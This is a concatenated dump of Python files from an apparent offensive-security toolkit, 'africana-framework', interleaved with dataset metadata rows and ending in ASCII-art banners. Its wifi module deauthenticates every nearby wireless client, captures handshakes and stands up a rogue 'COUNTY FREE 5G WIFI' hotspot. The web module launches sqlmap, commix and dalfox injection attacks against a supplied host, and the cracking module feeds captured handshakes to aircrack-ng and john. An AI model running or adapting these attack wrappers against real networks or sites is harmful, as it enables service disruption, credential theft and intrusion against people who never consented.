beauty.graphics(), scriptures.verses() print("\n") process = subprocess.Popen('wireshark' , shell = True).wait() return process internal_scanner = Interna_Attack(host = '') if ' __name__' == '__main__': sys.exit(internal_scanner())
11,777
Python
.py
156
60.653846
418
0.538355
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,744
wifi.py
CHEGEBB_africana-framework/src/wireles/wifi.py
import sys import time import subprocess from src.core.banner import * from src.core.bcolors import * class wifi_hack(object): def __init__(self): pass rc = '/usr/share/wordlists/rockyou.txt.gz' if os.path.exists(rc): os.system('gunzip /usr/share/wordlists/rockyou.txt.gz') else: pass def wifi_auto_attack_wifite(self): print("\n") subprocess.Popen("ip addr", shell = True).wait() print(bcolors.BLUE + """ +------------------------------------------------------------+ | † What Wireless Card Would You Like To Use? † | +------------------------------------------------------------+ """ + bcolors.ENDC) iface = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.GREEN + ")# " + bcolors.ENDC) os.system('clear') process = os.system("wifite -i {0} --ignore-locks --keep-ivs -p 1337 -mac --random-mac -v -inf --bully --pmkid --dic /usr/share/wordlists/rockyou.txt --require-fakeauth --nodeauth --pmkid-timeout 120".format(iface)) return process def wifi_auto_attack_bettercap(self): while True: try: print("\n") subprocess.Popen("ip addr", shell = True).wait() print(bcolors.BLUE + """ +------------------------------------------------------------+ | † What Wireless Card Would You Like To Use? † | +------------------------------------------------------------+ """ + bcolors.ENDC) iface = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.GREEN + ")# " + bcolors.ENDC) os.system('clear') subprocess.Popen("airmon-ng check kill && service NetworkManager restart && ip link set {0} down && iw dev {0} set type monitor && ip link set {0} up && iw {0} set txpower fixed 3737373737373 && service NetworkManager start".format(iface), shell = True).wait() process = subprocess.Popen("bettercap --iface %s -eval 'set $ {bold}r0jahsm0ntar1 [Jesus.Loves.You] » {reset}; wifi.recon on; wifi.show; set wifi.show.sort clients desc; set ticker.commands clear; wifi.show; wifi.assoc all; wifi.assoc all wifi.handshakes.file /usr/local/opt/handshakes; wifi.deauth all'" % (iface), shell = True).wait() return process except: neo.attack_wifi() break def wifi_auto_attack_wifipumpkin3(self): print("\n") subprocess.Popen("ip addr", shell = True).wait() print(bcolors.BLUE + """ +------------------------------------------------------------+ | † What Wireless Card Would You Like To Use? † | +------------------------------------------------------------+ """ + bcolors.ENDC) iface = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.GREEN + ")# " + bcolors.ENDC) os.system('clear') process = os.system("wifipumpkin3 --xpulp 'set interface {0}; set ssid COUNTY FREE 5G WIFI; set proxy noproxy; start'".format(iface)) return process def wifi_attack_airgeddon(self): os.system('clear') process = subprocess.Popen("airgeddon", shell = True).wait() return process def wifi_attack_wifipumpkin3(self): os.system('clear') process = os.system("wifipumpkin3") return process wifi_killer = wifi_hack() if ' __name__' == '__main__': sys.exit(wifi_killer())
3,545
Python
.py
66
46.045455
352
0.546243
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,745
scanner.py
CHEGEBB_africana-framework/src/webattack/scanner.py
import sys import time import subprocess from src.core.bcolors import * class scanners(object): def __init__(self, host): self.host = host def wafw00f(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "trying waf tech detection" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("wafw00f -v -a {0}".format(host), shell = True).wait() return process def dnsrecon(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "running dns reconing on" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("dnsrecon -a -d {0}".format(host), shell = True).wait() return process def whatweb(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "reconning target for host tech" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("whatweb -a 3 -v {0}".format(host), shell = True).wait() return process def httpx(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "grubbibg web http & https headers" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("echo {0}| httpx-toolkit -sc -cl -ct -title -location -status-code -tech-detect -follow-redirects -lc -wc -probe".format(host), shell = True).wait() return process def param_spider(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "mining host's root urls" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("paramspider -s -d {0}".format(host), shell = True).wait() return process def ssl_scan(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "scanning for vuln ssl certs" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("sslscan --show-certificate --show-sigs --tlsall --verbose {0}".format(host), shell = True).wait() return process def dirsearch(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "mining host's root files" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("dirsearch -q -u {0}".format(host), shell = True).wait() return process def nuclei(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "scanning the host for known vulns" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("subfinder -silent -d {0}| httpx-toolkit -silent| nuclei -sa -system-resolvers; nuclei -sa -silent -system-resolvers -u {0}".format(host), shell = True).wait() return process def nikto(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "further scanning host for know vulns" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("nikto -ask no -Cgidirs all -Display 3 -host {0}".format(host), shell = True).wait() return process def bbot(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "full reconning the host from dns to vulns " + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("bbot -y -f subdomain-enum email-enum cloud-enum web-basic -m nmap gowitness nuclei --allow-deadly -t {0}".format(host), shell = True).wait() return process def uniscan(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "heavy vuln reconning the host" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("uniscan -qwedsrj -u {0}".format(host), shell = True).wait() return process def sqlmap(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "sql injection attacks. use above scans" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("sqlmap --tamper=between,luanginx,xforwardedfor --random-agent --threads=10 --level=5 --risk=3 --eta -wizard", shell = True).wait() return process def commix(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "command injection attacks. use above scans" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("commix --wizard", shell = True).wait() return process def dalfox(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "heavy xss injection attacks launched " + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("katana -silent -u {0} -jc -kf all -c 5 -d 3 | httpx-toolkit -silent -follow-redirects -random-agent -status-code -threads 5 | dalfox pipe --only-poc r --ignore-return 302,404,403 --skip-bav".format(host), shell = True).wait() return process def xsser(self, host): print("\n") print(bcolors.BLUE + " -{ " + bcolors.RED + "xss injection attacks. use above scans" + bcolors.BLUE + " }" + bcolors.BLUE + " => " + bcolors.BLUE + "{ " + bcolors.YELLOW + "{0}".format(host) + bcolors.BLUE + " }-\n" + bcolors.ENDC) process = subprocess.Popen("xsser --wizard", shell = True).wait() return process spiders = scanners(host = '') if ' __name__' == '__main__': sys.exit(spiders())
6,828
Python
.py
85
72.4
261
0.590693
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,746
anonym.py
CHEGEBB_africana-framework/src/security/anonym.py
import sys import subprocess from modules.secmon import * from configs.config import * from src.core.banner import * from src.core.bcolors import * from scriptures.verses import * class anonym(object): def __init__(self): pass def vanish_install(self): os.system('clear') beauty.graphics(), scriptures.verses() print(bcolors.BLUE + "\n -[" + bcolors.ENDC + bcolors.UNDERL + " Installing & Configuring " + bcolors.ENDC + bcolors.BLUE + " ]-\n" + bcolors.ENDC) print(bcolors.BLUE + " [ Tor (Install tor & set proxies) ] " + bcolors.ENDC) print(bcolors.BLUE + " [ Iptables (Install Iptables for firewalls) ] " + bcolors.ENDC) print(bcolors.BLUE + " [ Squid (Install Squid set through Privoxy) ] " + bcolors.ENDC) print(bcolors.BLUE + " [ Privoxy (Install Privoxy & set through tor) ] " + bcolors.ENDC) print(bcolors.ENDC + "\n {" + bcolors.RED + bcolors.UNDERL + " apt-get install -y tor squid privoxy iptables." + bcolors.ENDC + "}\n" + bcolors.ENDC) africana = bcolors.ENDC + " -{" + bcolors.YELLOW + " Installing iptables, tor, privoxy, squid, dnsmasq & configing " + bcolors.ENDC + "}-\n" + bcolors.ENDC for a in africana: sys.stdout.write(a) sys.stdout.flush() time.sleep(0.09) print("\n") os.system('apt-get update; apt-get install -y tor squid privoxy iptables isc-dhcp-client isc-dhcp-server'), config.configure_all() os.system('systemctl daemon-reload; systemctl enable [email protected] privoxy.service squid.service; systemctl restart [email protected] privoxy.service squid.service ; systemctl --no-pager status [email protected] privoxy.service squid.service') def vanish_start(self): os.system('clear') subprocess.Popen(['python3 externals/tor-vanish/vanish.py -m'], shell = True).wait() def vanish_stop(self): os.system('clear') subprocess.Popen('python3 externals/tor-vanish/vanish.py -e', shell = True).wait() def checktor_status(self): os.system('clear') subprocess.Popen('python3 externals/tor-vanish/vanish.py -w', shell = True).wait() def chains_start(self): os.system('clear') sec_mon.pproxy() anonymous = anonym() if ' __name__' == '__main__': sys.exit(anonymous())
2,439
Python
.py
42
51.095238
261
0.632218
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,747
cracker.py
CHEGEBB_africana-framework/src/passcrack/cracker.py
import sys import time import subprocess from src.core.banner import * from src.core.bcolors import * class pass_killer(object): def __init__(self): pass rc = '/usr/share/wordlists/rockyou.txt.gz' if os.path.exists(rc): os.system('gunzip /usr/share/wordlists/rockyou.txt.gz') else: pass def aircracking_password(self): print(bcolors.ENDC + "\n -{" + bcolors.UNDERL + bcolors.BLUE + " Give Full Path For Your .Pcap And Wordlist To Be Use " + bcolors.ENDC + "}-\n" + bcolors.ENDC) pcap = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.GREEN + ")# " + bcolors.ENDC) print(bcolors.RED + "(Path = {0})".format(pcap) + bcolors.ENDC) wordlist = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.GREEN + ")# " + bcolors.ENDC) print(bcolors.RED + "(wordlist = {0})".format(wordlist) + bcolors.ENDC) time.sleep(3) os.system('clear') process = subprocess.Popen("aircrack-ng {0} -w {1}".format(pcap, wordlist), shell = True).wait() return process def john_password(self): print(bcolors.ENDC + "\n -{" + bcolors.UNDERL + bcolors.BLUE + " Give Full Path For Your .Pcap And Wordlist To Be Use " + bcolors.ENDC + "}-\n" + bcolors.ENDC) pcap = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.GREEN + ")# " + bcolors.ENDC) print(bcolors.RED + "(Path = {0})".format(pcap) + bcolors.ENDC) wordlist = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.GREEN + ")# " + bcolors.ENDC) print(bcolors.RED + "(wordlist = {0})".format(wordlist) + bcolors.ENDC) time.sleep(3) os.system('clear') process = subprocess.Popen("john {0} --wordlist={1}".format(pcap, wordlist), shell = True).wait() return process pass_cracker = pass_killer() if ' __name__' == '__main__': sys.exit(pass_cracker())
2,073
Python
.py
36
50.916667
170
0.620266
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,748
bcolors.py
CHEGEBB_africana-framework/src/core/bcolors.py
import os import random def check_os(): if os.name == "nt": operating_system = "windows" if os.name == "posix": operating_system = "posix" return operating_system if check_os() == "posix": class bcolors: PURPLE = '\033[95m' CYAN = '\033[96m' DARKCYAN = '\033[36m' BLUE = '\033[94m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BOLD = '\033[1m' UNDERL = '\033[4m' ENDC = '\033[0m' backBlack = '\033[40m' backRed = '\033[41m' backGreen = '\033[42m' backYellow = '\033[43m' backBlue = '\033[44m' backMagenta = '\033[45m' backCyan = '\033[46m' backWhite = '\033[47m' def disable(self): self.PURPLE = '' self.CYAN = '' self.BLUE = '' self.GREEN = '' self.YELLOW = '' self.RED = '' self.ENDC = '' self.BOLD = '' self.UNDERL = '' self.backBlack = '' self.backRed = '' self.backGreen = '' self.backYellow = '' self.backBlue = '' self.backMagenta = '' self.backCyan = '' self.backWhite = '' self.DARKCYAN = '' else: class bcolors: PURPLE = '' CYAN = '' DARKCYAN = '' BLUE = '' GREEN = '' YELLOW = '' RED = '' BOLD = '' UNDERL = '' ENDC = '' backBlack = '' backRed = '' backGreen = '' backYellow = '' backBlue = '' backMagenta = '' backCyan = '' backWhite = '' def disable(self): self.PURPLE = '' self.CYAN = '' self.BLUE = '' self.GREEN = '' self.YELLOW = '' self.RED = '' self.ENDC = '' self.BOLD = '' self.UNDERL = '' self.backBlack = '' self.backRed = '' self.backGreen = '' self.backYellow = '' self.backBlue = '' self.backMagenta = '' self.backCyan = '' self.backWhite = '' self.DARKCYAN = '' color_taken = [] def color(*args): colors = [bcolors.BLUE, bcolors.PURPLE, bcolors.CYAN, bcolors.DARKCYAN, bcolors.GREEN, bcolors.YELLOW, bcolors.RED] if args: args, = args return args else: if not color_taken: return random.choice(colors) else: return random.choice(list(set(colors).difference(color_taken))) check_os()
2,668
Python
.py
98
17.581633
90
0.452985
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,749
banner.py
CHEGEBB_africana-framework/src/core/banner.py
import time import random from src.core.bcolors import * class banners(object): def __init__(self): pass def graphics(self): menu = random.randrange(1, 61) if menu == 1: print(color() + r""" _,._ __.' _) <_,)'.-"a\ /' ( \ _.-----..,-' (`"--^ // | (| `; , | \ ;.----/ ,/ ) // / | |\ \ \ \\`\ | |/ / Jesus Christ \ \\ \ | |\/ Lamb that was slain. `" `" `"` """ + bcolors.ENDC) if menu == 2: print(color() + r""" _ xxxx _ /_;-.__ / _\ _.-;_\ `-._`'`_/'`.-' `\ /` | / /-.( \_._\ \ \`; > |/ / // |// \(\ """ + bcolors.ENDC) if menu == 3: print(color() + r""" , , /////| ///// | ///// | |~~~| | | |===| |/| | B |/| | | I | | | | B | | | | L | / | E | / |===|/ '---' Jesus love's u. """ + bcolors.ENDC) if menu == 4: print(color() + r""" __ _____ _____ _ _ __| |___ ___ _ _ ___| | | |___|_|___| |_ | | | -_|_ -| | |_ -| --| | _| |_ -| _| |_____|___|___|___|___|_____|__|__|_| |_|___|_| """ + bcolors.ENDC) if menu == 5: print(color() + r""" | \ / .---. '-. | | .-' ___| |___ -= [ ] =- `---. .---' __||__ | | __||__ '-..-' | | '-..-' || | | || ||_.-| |-,_|| .-"` `"`'` `"-. .' '. """ + bcolors.ENDC) if menu == 6: print(bcolors.PURPLE + r"""⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣿⣷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⢀⡈⠛⢿⣿⣶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀ ⠀⠸⢿⣿⣶⣾⣿⣿⣿⣿⣷⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣴⣾⠇⠀ ⠀⠀⢤⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀⣠⣤⣴⣶⣶⣾⣿⡿⠟⠋⣁⡀⠀ ⠀⠀⠘⢉⣩⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣿⣟⠛⠛⠁⠀ ⠀⠀⠀⠈⠻⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⣿⣿⣿⣿⣿⣿⣿⣟⠿⣿⠃⠀⠀ ⠀⠀⠀⠀⠀⠈⠻⠟⣿⣿⣿⣿⣿⣿⣿⣿⣄⣿⣿⣿⣿⣿⣿⣿⣿⡷⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⣉⣽⣿⣿⣿⣿⡿⢻⣿⣿⣿⢿⣿⠎⠉⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣤⣴⣶⣾⣿⣿⣿⣿⣿⣿⣿⣦⡀⠈⠉⠉⠁⠁⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⣉⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠙⠋⣽⣿⣟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠘⠿⠋⣸⣿⡟⢸⣿⣿⠉⣿⣿⡘⢿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠀⢸⣿⡏⠀⠸⠿⠃⠀⠀⠀⠀ """ + bcolors.ENDC) if menu == 7: print(color() + r""" ____ /\ /\ / \ \ / / / \ \/ /~~. / \ //_/ / / \/ / / /\ \ / / /| \/ _/ / / --/ / / / / | ___/ / / / | _/ \/ \ \_ _________/ ---------------/ """ + bcolors.ENDC) if menu == 8: print(color() + r""" .========. .========. // I .'..' \ // VI.'.,".\ || II .'..'| || VII..'..| || III .'."| || VIII,'.'| || IV ,','.| || IX.'".'.| || V '..'.'| || X .'..',| .\_________/ .\_________/⠀ """ + bcolors.ENDC) if menu == 9: print(color() + r""" .======. | KING | | | | | .========' '========. | _ xxxx _ | | /_;-.__ / _\ _.-;_\ | | `-._`'`_/'`.-' | '========.`\ /`========' | | / | |/-.( | |\_._\ | | \ \`;| | > |/| | / // | | |// | | \(\ | | `` | | | | | | | .======. """ + bcolors.ENDC) if menu == 10: print(color() + r""" , (`. : \ __..----..__ `.`.| |: _,-':::''' ' `:`-._ `.:\|| _,':::::' `::::`-. \\`| _,':::::::' `:. `':::`. ;` `-'' `::::::. `::\ ,-' .::' `:::::. `::.. `:\ ,' /_) -. `::. `:. | ,'.: ` `:. `:. .::. \ __,-' ___,..-''-. `:. `. /::::. | |):'_,--' `. `::.. |::::::. ::\ `-' |`--.:_::::|_____\::::::::.__ ::| | _/|::::| \::::::|::/\ :| /:./ |:::/ \__:::):/ \ :\ ,'::' /:::| ,'::::/_/ `. ``-.__ '''' (//|/\ ,';':,-' `-.__ `'--..__ `''---::::'""" + bcolors.ENDC) if menu == 11: print(color() + r""" _ _ _(,_/ \ \____________ |`. \_@_@ `. ,' |\ \ . `-,-' || | `-.____,-' || / / |/ | | `.. / \ \\ / | || | \ \\ /-. | ||/ /_ | \(_____)-'_) """ + bcolors.ENDC) if menu == 12: print(color() + r""" .__________________________. | .___________________. |==| | | ................. | | | | | :::Africa ][::::: | | | | | ::::::::::::::::: | | | | | ::::::::::::::::: | | | | | ::::::::::::::::: | | | | | ::::::::::::::::: | | | | | ::::::::::::::::: | | ,| | !___________________! |(c| !_______________________!__! / \ / [][][][][][][][][][][][][] \ / [][][][][][][][][][][][][][] \ ( [][][][][____________][][][][] ) \ ------------------------------ / \______________________________/ """ + bcolors.ENDC) if menu == 13: print(color() + r""" ___ _______ /__/ |.-----.| ,---[___]* || || / printer ||_____|| _____ / ____ |o_____*| [o_+_+]--------[=i==] | ________| 850 drive | __|_ '-/_==_\ /_____\\ """ + bcolors.ENDC) if menu == 14: print(color() + r""" __________ __________ __________ | |\| | |\ | * * ||| * * * | * || | * * ||| | * || | * * ||| * * * | * || |__________|||__________|__________|| | || `---------------------` | * * || | || | * * || |__________|| `----------` """ + bcolors.ENDC) if menu == 15: print(color() + r""" ⠀⠀⠀⠀⠀⠀⠘⣿⣿⣷⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣷⣦⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⡿⠟⣛⣩⣭⣭⣭⣭⣿⣿⣿⣿⣶⣤⣀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⣠⠞⣡⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀ ⠀⠀⠀⠀⠀⠀⡴⢡⣾⣿⡟⣿⡿⣿⢻⣿⣷⣭⣿⣿⣿⣿⣿⣿⣿⡿⠛⣋⣿⠆ ⠀⠀⠀⠀⠀⠘⠁⣿⣿⣿⣇⡙⠷⠙⢘⡿⠟⠋⠉⠉⠉⠉⠉⠉⠉⠉⣹⠟⠁⠀ ⠀⠀⠀⣀⣠⣴⣿⣿⣿⣿⠿⠋⠀⠈⠁⠀⠀⣧⣦⣦⣄⣦⣠⣤⣤⣾⣷⣶⣤⣄ ⠤⠶⠿⠿⠿⠛⠛⠛⠉⣡⡤⠶⠒⠒⠲⠦⣤⣏⡙⠻⠟⠟⠿⣯⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣸⠋⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠲⠶⠞⠃⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢿⣄⠀⠀⠀⠀⢀⣠⡤⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢰⠟⠞⠁⣀⣀⣤⣶⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠈⠀⠀⠆⢉⡛⠿⠍⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡄⢉⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣧⢸⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹""" + bcolors.ENDC) if menu == 16: print(color() + r""" ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣶⣿⡆⠀⠙⢿⣿⣒⠦⢤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣿⣿⣿⠿⠟⠛⠒⠒⠒⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣾⣿⣿⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠠⠔⠛⠉⠙⠛⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⣾⣿⣿⣿⣿⣿⣿⣿⣍⣀⣀⠀⠀⠀⠀⡰⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣎⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⡠⠴⠿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠄⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⢀⠎⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣤⣀⠀⠀⠀⠀⢀⣠⣾⠕⠁⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⡠⢁⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⡉⠉⠉⠙⠛⠋⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 